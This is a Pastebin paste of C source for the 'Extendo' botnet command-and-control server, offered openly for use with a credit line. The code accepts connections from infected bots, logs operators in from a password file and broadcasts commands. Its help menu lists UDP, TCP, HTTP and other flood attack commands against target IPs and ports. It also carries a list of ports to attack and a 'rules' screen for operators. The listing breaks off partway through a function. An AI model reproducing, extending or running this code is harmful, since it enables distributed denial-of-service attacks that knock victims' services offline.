AvengeVPS

Extendo Botnet Serverside

Feb 27th, 2018
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.67 KB | None | 0 0
  1. // SERVER SIDE MADE BY @CULT.X
  2. // DONT EDIT OR TAKE OUT CREDIT :(
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16.  
  17. #define MAXFDS 1000000
  18. #define RED "\x1b[0;31m"
  19. #define WHITE "\x1b[0;37m"
  20. #define GREEN "\x1b[0;32m"
  21. #define C_RESET "\x1b[0m"
  22.  
  23. struct account {
  24. char id[20];
  25. char password[20];
  26. };
  27. static struct account accounts[25];
  28.  
  29. struct clientdata_t {
  30. uint32_t ip;
  31. char build[7];
  32. char connected;
  33. } clients[MAXFDS];
  34.  
  35. struct telnetdata_t {
  36. uint32_t ip;
  37. int connected;
  38. } managements[MAXFDS];
  39.  
  40. ////////////////////////////////////
  41.  
  42. static volatile FILE *fileFD;
  43. static volatile int epollFD = 0;
  44. static volatile int listenFD = 0;
  45. static volatile int managesConnected = 0;
  46. static volatile int DUPESDELETED = 0;
  47.  
  48. ////////////////////////////////////
  49.  
  50.  
  51. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  52. {
  53. int total = 0, got = 1;
  54. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  55. return got;
  56. }
  57. void trim(char *str)
  58. {
  59. int i;
  60. int begin = 0;
  61. int end = strlen(str) - 1;
  62. while (isspace(str[begin])) begin++;
  63. while ((end >= begin) && isspace(str[end])) end--;
  64. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  65. str[i - begin] = '\0';
  66. }
  67.  
  68.  
  69. static int make_socket_non_blocking (int sfd)
  70. {
  71. int flags, s;
  72. flags = fcntl (sfd, F_GETFL, 0);
  73. if (flags == -1)
  74. {
  75. perror ("fcntl");
  76. return -1;
  77. }
  78. flags |= O_NONBLOCK;
  79. s = fcntl (sfd, F_SETFL, flags);
  80. if (s == -1)
  81. {
  82. perror ("fcntl");
  83. return -1;
  84. }
  85. return 0;
  86. }
  87.  
  88.  
  89. static int create_and_bind (char *port)
  90. {
  91. struct addrinfo hints;
  92. struct addrinfo *result, *rp;
  93. int s, sfd;
  94. memset (&hints, 0, sizeof (struct addrinfo));
  95. hints.ai_family = AF_UNSPEC;
  96. hints.ai_socktype = SOCK_STREAM;
  97. hints.ai_flags = AI_PASSIVE;
  98. s = getaddrinfo (NULL, port, &hints, &result);
  99. if (s != 0)
  100. {
  101. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  102. return -1;
  103. }
  104. for (rp = result; rp != NULL; rp = rp->ai_next)
  105. {
  106. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  107. if (sfd == -1) continue;
  108. int yes = 1;
  109. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  110. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  111. if (s == 0)
  112. {
  113. break;
  114. }
  115. close (sfd);
  116. }
  117. if (rp == NULL)
  118. {
  119. fprintf (stderr, "Could not bind\n");
  120. return -1;
  121. }
  122. freeaddrinfo (result);
  123. return sfd;
  124. }
  125. void broadcast(char *msg, int us, char *sender)
  126. {
  127. int sendMGM = 1;
  128. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  129. char *wot = malloc(strlen(msg) + 10);
  130. memset(wot, 0, strlen(msg) + 10);
  131. strcpy(wot, msg);
  132. trim(wot);
  133. time_t rawtime;
  134. struct tm * timeinfo;
  135. time(&rawtime);
  136. timeinfo = localtime(&rawtime);
  137. char *timestamp = asctime(timeinfo);
  138. trim(timestamp);
  139. int i;
  140. for(i = 0; i < MAXFDS; i++)
  141. {
  142. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  143. if(sendMGM && managements[i].connected)
  144. {
  145. send(i, "\x1b[37mUser: ", 8, MSG_NOSIGNAL);
  146. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  147. send(i, " ", 1, MSG_NOSIGNAL);
  148. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  149. send(i, ": \x1b[0;31m", 2, MSG_NOSIGNAL);
  150. }
  151. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  152. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0;37m~> \x1b[0;37m", 13, MSG_NOSIGNAL);
  153. else send(i, "\n", 1, MSG_NOSIGNAL);
  154. }
  155. free(wot);
  156. }
  157.  
  158. void *epollEventLoop(void *useless)
  159. {
  160. struct epoll_event event;
  161. struct epoll_event *events;
  162. int s;
  163. events = calloc (MAXFDS, sizeof event);
  164. while (1)
  165. {
  166. int n, i;
  167. n = epoll_wait (epollFD, events, MAXFDS, -1);
  168. for (i = 0; i < n; i++)
  169. {
  170. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  171. {
  172. clients[events[i].data.fd].connected = 0;
  173. close(events[i].data.fd);
  174. continue;
  175. }
  176. else if (listenFD == events[i].data.fd)
  177. {
  178. while (1)
  179. {
  180. struct sockaddr in_addr;
  181. socklen_t in_len;
  182. int infd, ipIndex;
  183.  
  184. in_len = sizeof in_addr;
  185. infd = accept (listenFD, &in_addr, &in_len);
  186. if (infd == -1)
  187. {
  188. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  189. else
  190. {
  191. perror ("accept");
  192. break;
  193. }
  194. }
  195.  
  196. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  197.  
  198. int dup = 0;
  199. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  200. {
  201. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  202.  
  203. if(clients[ipIndex].ip == clients[infd].ip)
  204. {
  205. dup = 1;
  206. break;
  207. }
  208. }
  209.  
  210. if(dup)
  211. {
  212. DUPESDELETED++;
  213. continue;
  214. }
  215.  
  216. s = make_socket_non_blocking (infd);
  217. if (s == -1) { close(infd); break; }
  218.  
  219. event.data.fd = infd;
  220. event.events = EPOLLIN | EPOLLET;
  221. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  222. if (s == -1)
  223. {
  224. perror ("epoll_ctl");
  225. close(infd);
  226. break;
  227. }
  228.  
  229. clients[infd].connected = 1;
  230. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  231.  
  232. }
  233. continue;
  234. }
  235. else
  236. {
  237. int thefd = events[i].data.fd;
  238. struct clientdata_t *client = &(clients[thefd]);
  239. int done = 0;
  240. client->connected = 1;
  241. while (1)
  242. {
  243. ssize_t count;
  244. char buf[2048];
  245. memset(buf, 0, sizeof buf);
  246.  
  247. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  248. {
  249. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  250. trim(buf);
  251. if(strcmp(buf, "PING") == 0) {
  252. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  253. continue; }
  254. if(strcmp(buf, "PONG") == 0) {
  255. continue; }
  256. printf("buf: \"%s\"\n", buf); }
  257.  
  258. if (count == -1)
  259. {
  260. if (errno != EAGAIN)
  261. {
  262. done = 1;
  263. }
  264. break;
  265. }
  266. else if (count == 0)
  267. {
  268. done = 1;
  269. break;
  270. }
  271. }
  272.  
  273. if (done)
  274. {
  275. client->connected = 0;
  276. close(thefd);
  277. }
  278. }
  279. }
  280. }
  281. }
  282.  
  283. unsigned int clientsConnected()
  284. {
  285. int i = 0, total = 0;
  286. for(i = 0; i < MAXFDS; i++)
  287. {
  288. if(!clients[i].connected) continue;
  289. total++;
  290. }
  291.  
  292. return total;
  293. }
  294.  
  295. void *titleWriter(void *sock)
  296. {
  297. int thefd = (int)sock;
  298. char string[2048];
  299. while(1)
  300. {
  301. memset(string, 0, 2048);
  302. sprintf(string, "%c]0;Loaded: %d ~ Clients: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  303. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  304.  
  305. sleep(2);
  306. }
  307. }
  308.  
  309. int Search_in_File(char *str)
  310. {
  311. FILE *fp;
  312. int line_num = 0;
  313. int find_result = 0, find_line=0;
  314. char temp[512];
  315.  
  316. if((fp = fopen("login.txt", "r")) == NULL){
  317. return(-1);
  318. }
  319. while(fgets(temp, 512, fp) != NULL){
  320. if((strstr(temp, str)) != NULL){
  321. find_result++;
  322. find_line = line_num;
  323. }
  324. line_num++;
  325. }
  326. if(fp)
  327. fclose(fp);
  328.  
  329. if(find_result == 0)return 0;
  330.  
  331. return find_line;
  332. }
  333. void client_addr(struct sockaddr_in addr){
  334. printf("IP:%d.%d.%d.%d\n",
  335. addr.sin_addr.s_addr & 0xFF,
  336. (addr.sin_addr.s_addr & 0xFF00)>>8,
  337. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  338. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  339. FILE *logFile;
  340. logFile = fopen("SERVER.log", "a");
  341. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  342. addr.sin_addr.s_addr & 0xFF,
  343. (addr.sin_addr.s_addr & 0xFF00)>>8,
  344. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  345. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  346. fclose(logFile);
  347. }
  348.  
  349. void *telnetWorker(void *sock) {
  350. int thefd = (int)sock;
  351. managesConnected++;
  352. int find_line;
  353. pthread_t title;
  354. char counter[2048];
  355. memset(counter, 0, 2048);
  356. char buf[2048];
  357. char* nickstring;
  358. char usernamez[80];
  359. char* password;
  360. char* admin;
  361. memset(buf, 0, sizeof buf);
  362. char botnet[2048];
  363. memset(botnet, 0, 2048);
  364.  
  365. FILE *fp;
  366. int i=0;
  367. int c;
  368. fp=fopen("login.txt", "r"); // format: user pass
  369. while(!feof(fp))
  370. {
  371. c=fgetc(fp);
  372. ++i;
  373. }
  374. int j=0;
  375. rewind(fp);
  376. while(j!=i-1)
  377. {
  378. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  379. ++j;
  380. }
  381. sprintf(botnet, "\x1b[0;31mпользователь\x1b[0;37m: \x1b[0;37m");
  382. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  383. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  384. trim(buf);
  385. sprintf(usernamez, buf);
  386. nickstring = ("%s", buf);
  387. find_line = Search_in_File(nickstring);
  388.  
  389. if(strcmp(nickstring, accounts[find_line].id) == 0){
  390. sprintf(botnet, "\x1b[0;31mпароль\x1b[0;37m: \x1b[0;37m");
  391. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  392. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  393. trim(buf);
  394. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  395. memset(buf, 0, 2048);
  396. sprintf(botnet, "\n\x1b[0;37mVerifying Login ..");
  397. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  398. sleep(1);
  399. goto fak;
  400. }
  401. failed:
  402. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  403. goto end;
  404.  
  405. fak:
  406. pthread_create(&title, NULL, &titleWriter, sock);
  407. char ascii_banner_line20 [5000];
  408. char ascii_banner_line21 [5000];
  409. char ascii_banner_line22 [5000];
  410. char ascii_banner_line23 [5000];
  411. char ascii_banner_line24 [5000];
  412. char ascii_banner_line25 [5000];
  413. char ascii_banner_line26 [5000];
  414. char ascii_banner_line27 [5000];
  415. char ascii_banner_line28 [5000];
  416. char ascii_banner_line29 [5000];
  417.  
  418. sprintf(ascii_banner_line20, "\x1b[0;37m W E L C O M E T O E X T E N D O V E R S I O N v1.0 \r\n");
  419. sprintf(ascii_banner_line21, " \x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╗\x1b[0;31m████████\x1b[0;37m╗\x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m███\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██████\x1b[0;37m╗ \x1b[0;31m██████\x1b[0;37m╗ \r\n");
  420. sprintf(ascii_banner_line22, " \x1b[0;31m██\x1b[0;37m╔════╝╚\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╔╝╚══\x1b[0;31m██\x1b[0;37m╔══╝\x1b[0;31m██\x1b[0;37m╔════╝\x1b[0;31m████\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╔═══\x1b[0;31m██\x1b[0;37m╗ \r\n");
  421. sprintf(ascii_banner_line23, " \x1b[0;31m█████\x1b[0;37m╗ ╚\x1b[0;31m███\x1b[0;37m╔╝ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m█████\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╔\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \r\n");
  422. sprintf(ascii_banner_line24, " \x1b[0;31m██\x1b[0;37m╔══╝ \x1b[0;31m██\x1b[0;37m╔\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m╔══╝ \x1b[0;31m██\x1b[0;37m║╚\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \r\n");
  423. sprintf(ascii_banner_line25, " \x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╔╝ \x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m║ ╚\x1b[0;31m████\x1b[0;37m║\x1b[0;31m██████\x1b[0;37m╔╝╚\x1b[0;31m██████\x1b[0;37m╔╝ \r\n");
  424. sprintf(ascii_banner_line26, " \x1b[0;37m╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ \r\n");
  425. sprintf(ascii_banner_line27, " \x1b[0;31m# \x1b[0;37mT Y P E H E L P \x1b[0;31m# \r\n");
  426. sprintf(ascii_banner_line28, " \x1b[0;31m# \x1b[0;37mP O W E R O W N E D B Y C U L T \x1b[0;31m# \r\n");
  427.  
  428. sprintf(ascii_banner_line29, "\n\x1b[0;37m~> \x1b[0;31m");
  429.  
  430. if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  431. if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(thefd, ascii_banner_line23, strlen(ascii_banner_line23), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(thefd, ascii_banner_line26, strlen(ascii_banner_line26), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(thefd, ascii_banner_line27, strlen(ascii_banner_line27), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(thefd, ascii_banner_line28, strlen(ascii_banner_line28), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(thefd, ascii_banner_line29, strlen(ascii_banner_line29), MSG_NOSIGNAL) == -1) goto end;
  441. pthread_create(&title, NULL, &titleWriter, sock);
  442. managements[thefd].connected = 1;
  443. while(fdgets(buf, sizeof buf, thefd) > 0)
  444. {
  445. if(strstr(buf, "BOTS"))
  446. {
  447. sprintf(botnet, (""WHITE"Bots Connected: ["RED"%d"WHITE"]\r\n"WHITE"Clients Connected: ["RED"%d"WHITE"]\r\n"WHITE"Dupes Deleted: ["RED"%d"WHITE"]\r\n"), clientsConnected(), managesConnected, DUPESDELETED);
  448. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  449. }
  450.  
  451. if(strstr(buf, "HELP")) {
  452. pthread_create(&title, NULL, &titleWriter, sock);
  453. char helpline1 [5000];
  454. char helpline2 [5000];
  455. char helpline3 [5000];
  456. char helpline4 [5000];
  457. char helpline5 [5000];
  458. char helpline6 [5000];
  459. char helpline7 [5000];
  460. char helpline8 [5000];
  461. char helpline9 [5000];
  462. char helpline10 [5000];
  463. char helpline11 [5000];
  464. char helpline12 [5000];
  465. char helpline13 [5000];
  466. char helpline14 [5000];
  467. char helpline15 [5000];
  468. char helpline16 [5000];
  469.  
  470.  
  471. sprintf(helpline1, "\n\x1b[0;37m[\x1b[0;31mCLIENT COMMANDS\x1b[0;37m]\r\n");
  472. sprintf(helpline2, "\x1b[0;37m[\x1b[0;31mUDP FLOOD\x1b[0;37m] !* UDP [IP] [PORT] [TIME] 32 0 10\r\n");
  473. sprintf(helpline3, "\x1b[0;37m[\x1b[0;31mTCP FLOOD\x1b[0;37m] !* TCP [IP] [PORT] [TIME] 32 all 0 10\r\n");
  474. sprintf(helpline4, "\x1b[0;37m[\x1b[0;31mSTD FLOOD\x1b[0;37m] !* STD [IP] [PORT] [TIME]\r\n");
  475. sprintf(helpline5, "\x1b[0;37m[\x1b[0;31mJUNK FLOOD\x1b[0;37m] !* JUNK [IP] [PORT] [TIME]\r\n");
  476. sprintf(helpline6, "\x1b[0;37m[\x1b[0;31mHOLD FLOOD\x1b[0;37m] !* HOLD [IP] [PORT] [TIME]\r\n");
  477. sprintf(helpline7, "\x1b[0;37m[\x1b[0;31mCNC FLOOD\x1b[0;37m] !* CNC [IP] [PORT] [TIME]\r\n");
  478. sprintf(helpline8, "\x1b[0;37m[\x1b[0;31mHTTP FLOOD\x1b[0;37m] !* HTTP [GET/HEAD/POST] [TARGET] [PORT] / [TIME] [POWER]\r\n");
  479.  
  480. sprintf(helpline9, "\n\x1b[0;37m[\x1b[0;31mSERVER COMMANDS\x1b[0;37m]\r\n");
  481. sprintf(helpline10, "\x1b[0;37m[\x1b[0;31mSTOP\x1b[0;37m] Kill Running Attacks\r\n");
  482. sprintf(helpline11, "\x1b[0;37m[\x1b[0;31mCREDS\x1b[0;37m] Credits\r\n");
  483. sprintf(helpline12, "\x1b[0;37m[\x1b[0;31mCLEAR\x1b[0;37m] Clear The Screen\r\n");
  484. sprintf(helpline13, "\x1b[0;37m[\x1b[0;31mBOTS\x1b[0;37m] Show The Nets Bot Count\r\n");
  485. sprintf(helpline14, "\x1b[0;37m[\x1b[0;31mLOG\x1b[0;37m] Logout Of The Net\r\n");
  486. sprintf(helpline15, "\x1b[0;37m[\x1b[0;31mPORTS\x1b[0;37m] Common Attack Ports\r\n");
  487.  
  488. sprintf(helpline16, "\n\x1b[0;37m~> \x1b[0;31m");
  489.  
  490. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  491. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  493. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  494. if(send(thefd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  495. if(send(thefd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(thefd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(thefd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(thefd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(thefd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(thefd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(thefd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  502. if(send(thefd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  503. if(send(thefd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  504. if(send(thefd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  505. if(send(thefd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  506. pthread_create(&title, NULL, &titleWriter, sock);
  507. continue;
  508. }
  509.  
  510. if(strstr(buf, "PORTS")) {
  511. pthread_create(&title, NULL, &titleWriter, sock);
  512. char portsline1 [5000];
  513. char portsline2 [5000];
  514. char portsline3 [5000];
  515. char portsline4 [5000];
  516. char portsline5 [5000];
  517. char portsline6 [5000];
  518. char portsline7 [5000];
  519.  
  520. sprintf(portsline1, "\n\x1b[0;37m[\x1b[0;31m22\x1b[0;37m] SSH\r\n");
  521. sprintf(portsline2, "\x1b[0;37m[\x1b[0;31m21\x1b[0;37m] FTP\r\n");
  522. sprintf(portsline3, "\x1b[0;37m[\x1b[0;31m23\x1b[0;37m] Telnet\r\n");
  523. sprintf(portsline4, "\x1b[0;37m[\x1b[0;31m80\x1b[0;37m] HTTP\r\n");
  524. sprintf(portsline5, "\x1b[0;37m[\x1b[0;31m53\x1b[0;37m] DNS\r\n");
  525. sprintf(portsline6, "\x1b[0;37m[\x1b[0;31m443\x1b[0;37m] Netscape\r\n");
  526. sprintf(portsline7, "\n\x1b[0;37m~> \x1b[0;31m");
  527.  
  528. if(send(thefd, portsline1, strlen(portsline1), MSG_NOSIGNAL) == -1) goto end;
  529. if(send(thefd, portsline2, strlen(portsline2), MSG_NOSIGNAL) == -1) goto end;
  530. if(send(thefd, portsline3, strlen(portsline3), MSG_NOSIGNAL) == -1) goto end;
  531. if(send(thefd, portsline4, strlen(portsline4), MSG_NOSIGNAL) == -1) goto end;
  532. if(send(thefd, portsline5, strlen(portsline5), MSG_NOSIGNAL) == -1) goto end;
  533. if(send(thefd, portsline6, strlen(portsline6), MSG_NOSIGNAL) == -1) goto end;
  534. if(send(thefd, portsline7, strlen(portsline7), MSG_NOSIGNAL) == -1) goto end;
  535. pthread_create(&title, NULL, &titleWriter, sock);
  536. continue;
  537. }
  538.  
  539. if(strstr(buf, "RULES")) {
  540. pthread_create(&title, NULL, &titleWriter, sock);
  541. char rulesline1 [5000];
  542. char rulesline2 [5000];
  543. char rulesline3 [5000];
  544. char rulesline7 [5000];
  545.  
  546. sprintf(rulesline1, "\n\x1b[0;37m[\x1b[0;31m1\x1b[0;37m] Do Not Share Login Details\r\n");
  547. sprintf(rulesline2, "\x1b[0;37m[\x1b[0;31m2\x1b[0;37m] Do Not Hit Goverment Owned Machines\r\n");
  548. sprintf(rulesline3, "\x1b[0;37m[\x1b[0;31m3\x1b[0;37m] Do Not Spam The Net\r\n");
  549. sprintf(rulesline7, "\n\x1b[0;37m~> \x1b[0;31m");
  550.  
  551. if(send(thefd, rulesline1, strlen(rulesline1), MSG_NOSIGNAL) == -1) goto end;
  552. if(send(thefd, rulesline2, strlen(rulesline2), MSG_NOSIGNAL) == -1) goto end;
  553. if(send(thefd, rulesline3, strlen(rulesline3), MSG_NOSIGNAL) == -1) goto end;
  554. if(send(thefd, rulesline7, strlen(rulesline7), MSG_NOSIGNAL) == -1) goto end;
  555. pthread_create(&title, NULL, &titleWriter, sock);
  556. continue;
  557. }
  558.  
  559. if(strstr(buf, "CREDS")) {
  560. pthread_create(&title, NULL, &titleWriter, sock);
  561. char credsline1 [80];
  562. char credsline2 [80];
  563.  
  564. sprintf(credsline1, "\n\x1b[0;37mServer Side By\x1b[0;31m @Cult.X \x1b[0;37m\r\n");
  565. sprintf(credsline2, "\n\x1b[0;37m~> \x1b[0;31m");
  566.  
  567. if(send(thefd, credsline1, strlen(credsline1), MSG_NOSIGNAL) == -1) goto end;
  568. if(send(thefd, credsline2, strlen(credsline2), MSG_NOSIGNAL) == -1) goto end;
  569. pthread_create(&title, NULL, &titleWriter, sock);
  570. continue;
  571. }
  572.  
  573. if(strstr(buf, "LOLNOGTFO"))
  574. {
  575. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  576. FILE *logFile;
  577. logFile = fopen("KILL.log", "a");
  578. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  579. fclose(logFile);
  580. goto end;
  581. }
  582. if(strstr(buf, "HOODASSSHIT"))
  583. {
  584. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  585. FILE *logFile;
  586. logFile = fopen("KILL.log", "a");
  587. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  588. fclose(logFile);
  589. goto end;
  590. }
  591. if(strstr(buf, "HOODASSSHIT"))
  592. {
  593. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  594. FILE *logFile;
  595. logFile = fopen("KILL.log", "a");
  596. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  597. fclose(logFile);
  598. goto end;
  599. }
  600. if(strstr(buf, "DUP"))
  601. {
  602. printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  603. FILE *logFile;
  604. logFile = fopen("KILL.log", "a");
  605. fprintf(logFile, "ATTEMPT TO KILL BOTS %s\n", accounts[find_line].id, buf);
  606. fclose(logFile);
  607. goto end;
  608. }
  609. if(strstr(buf, "SH"))
  610. {
  611. printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  612. FILE *logFile;
  613. logFile = fopen("SHELL.log", "a");
  614. fprintf(logFile, "ATTEMPT TO SHELL BOTS BY %s\n", accounts[find_line].id, buf);
  615. fclose(logFile);
  616. goto end;
  617. }
  618.  
  619. if (strstr(buf, "CLEAR"))
  620. {
  621. if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  622.  
  623. sprintf(ascii_banner_line20, "\x1b[0;37m W E L C O M E T O E X T E N D O V E R S I O N v1.0 \r\n");
  624. sprintf(ascii_banner_line21, " \x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╗\x1b[0;31m████████\x1b[0;37m╗\x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m███\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██████\x1b[0;37m╗ \x1b[0;31m██████\x1b[0;37m╗ \r\n");
  625. sprintf(ascii_banner_line22, " \x1b[0;31m██\x1b[0;37m╔════╝╚\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╔╝╚══\x1b[0;31m██\x1b[0;37m╔══╝\x1b[0;31m██\x1b[0;37m╔════╝\x1b[0;31m████\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╔═══\x1b[0;31m██\x1b[0;37m╗ \r\n");
  626. sprintf(ascii_banner_line23, " \x1b[0;31m█████\x1b[0;37m╗ ╚\x1b[0;31m███\x1b[0;37m╔╝ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m█████\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╔\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \r\n");
  627. sprintf(ascii_banner_line24, " \x1b[0;31m██\x1b[0;37m╔══╝ \x1b[0;31m██\x1b[0;37m╔\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m╔══╝ \x1b[0;31m██\x1b[0;37m║╚\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \r\n");
  628. sprintf(ascii_banner_line25, " \x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m╔╝ \x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m███████\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m║ ╚\x1b[0;31m████\x1b[0;37m║\x1b[0;31m██████\x1b[0;37m╔╝╚\x1b[0;31m██████\x1b[0;37m╔╝ \r\n");
